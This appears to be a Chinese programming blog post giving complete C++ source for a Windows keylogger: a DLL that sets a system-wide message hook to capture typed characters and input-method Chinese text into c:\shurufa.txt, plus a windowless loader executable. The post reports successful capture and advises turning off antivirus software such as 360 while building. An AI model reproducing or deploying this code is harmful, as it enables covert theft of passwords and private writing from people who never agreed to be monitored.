输入法钩子

53 篇文章 0 订阅
3 篇文章 0 订阅

分为1个dll工程和1个Win32空工程。

新建一个dll空工程,字符集使用多字节字符集。以下是源代码:

shurufa.h:

#ifndef SHURUFA_H
#define SHURUFA_H

#include <windows.h>
#include <imm.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"Imm32.lib")

extern "C" void writefile(char *lpstr);
extern "C" void writtitle();
extern "C" __declspec(dllexport) BOOL InstallHook();
extern "C" __declspec(dllexport) BOOL UnHook();

#endif

shurufa.cpp:

#include "shurufa.h"

#define FILE_PATH "c:\\shurufa.txt"

HHOOK        g_hHook            = NULL;        //hook句柄
HINSTANCE  g_hHinstance    = NULL;        //程序句柄
HWND         LastFocusWnd  = 0;//上一次句柄,必须使全局的
HWND         FocusWnd;         //当前窗口句柄,必须使全局的  

char title[256];              //获得窗口名字 
char *ftemp;                //begin/end 写到文件里面
char temptitle[256]="<<标题:";  //<<标题:窗口名字>>
char t[2]={0,0};              //捕获单个字母

void writefile(char *lpstr)
{//保存为文件
	FILE* f1;
    f1=fopen(FILE_PATH,"a+");
    fwrite(lpstr,strlen(lpstr),1,f1);
    fclose(f1);
}

/*
void writtitle()
{//保存当前窗口
	FocusWnd = GetActiveWindow();
	if(LastFocusWnd != FocusWnd)
	{
		ftemp="\n---------End----------\n";
		writefile(ftemp);
		ftemp="\n--------begin---------\n";
		writefile(ftemp);
		GetWindowText(FocusWnd, (LPWSTR)title, 256);  //当前窗口标题
		LastFocusWnd = FocusWnd;
		strcat(temptitle,title);
		strcat(temptitle,">>\n");
		writefile(temptitle);
	}
}
*/

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{ 
    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
        switch (pmsg->message)
        {
        case WM_IME_COMPOSITION:
            {
                HIMC hIMC;
                HWND hWnd=pmsg->hwnd;
                DWORD dwSize;
                char lpstr[20];
                if(pmsg->lParam & GCS_RESULTSTR)
                {
                    //先获取当前正在输入的窗口的输入法句柄
                    hIMC = ImmGetContext(hWnd);
                       // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

                    // 缓冲区大小要加上字符串的NULL结束符大小,
                    //   考虑到UNICODE
                    dwSize += sizeof(WCHAR);

                    memset(lpstr, 0, 20);

                    // 再调用一次.ImmGetCompositionString获取字符串
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
                    //现在lpstr里面即是输入的汉字了。
//					writtitle();                //保存当前窗口
					writefile(lpstr);           //保存为文件
                    ImmReleaseContext(hWnd, hIMC);
				}
            }
            break;
        case WM_CHAR:  //截获发向焦点窗口的键盘消息
            {
			    char ch,str[10];
			    ch=(char)(pmsg->wParam);
			    if (ch>=32 && ch<=126)           //可见字符
				{ 
//					writtitle();
					t[0]=ch;
					writefile(t);
				}
				if (ch>=8 && ch<=31)			 //控制字符
				{
					switch(ch)
					{
					    case 8:
							strcpy(str,"[退格]");
							break;
					    case 9:
							strcpy(str,"[TAB]");
							break;
					    case 13:
							strcpy(str,"[Enter]");
							break;
						default:strcpy(str,"n");
					}
					if (strcmp(str,"n"))
					{
//						writtitle();
				    	writefile(str);
					}
				}

			}
            break;
        }
    }
	LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);

    return(lResult);
}

//HOOK_API BOOL InstallHook()
BOOL InstallHook()
{
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return TRUE;
}

//HOOK_API BOOL UnHook()
BOOL UnHook()
{       
    return UnhookWindowsHookEx(g_hHook);
} 

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_hHinstance=HINSTANCE(hModule);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}

shurufa.cpp的源代码,主要来自微软专家的博客: VC++截取输入法输入信息钩子dll实现,我稍微进行了一下修改,因为不修改的话,是会报错的,不知道为什么。


再新建一个Win32的空工程,来调用shurufa.dll:

#include "..\shurufa\shurufa.h"
//win 函数入口
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
		LPSTR lpszCmdLine, int nCmdShow)
{
	MSG msg;
	TCHAR text[] = L"Error loading DLL!";
	TCHAR title[] = L"Key Tracer";
	BOOL error=FALSE;
	HINSTANCE dllhinst;
//创建安装钩子函数指针,用来记录dll中安装钩子的地址
	typedef BOOL (*InstallHook)();
	InstallHook installHook;
//加载钩子dll
	TCHAR dllPath[] = L"shurufa.dll";
	dllhinst=LoadLibrary(dllPath);
//判断是否加载dll成功
	if (dllhinst!=NULL)
	{
		installHook=(InstallHook)GetProcAddress(dllhinst, "InstallHook");
		if (!installHook)
		{
			FreeLibrary(dllhinst);
			error=TRUE;
		}
		else
		{
			installHook();
		}
	}
	else {
		error=TRUE;
	}

	if (error) {
		MessageBox(GetDesktopWindow(),text,title, MB_OK);
	}

	while (GetMessage(&msg,0,0,0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return msg.wParam;
}


生成的shurufa.dll和shurufa_main.exe放在同一个目录,然后双击shurufa_main.exe使之运行,不过不会有窗口,但是用任务管理器是可以看到的。

打开记事本,输入汉字,然后C盘根目录会产生shurufa.txt。

测试结果还蛮好的,汉字、英文、数字、特殊字符等,都可以记录下来。


注意事项:

在生成dll和exe的时候,要把360等安全软件关了,而不是简单地暂时停止保护多长时间。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值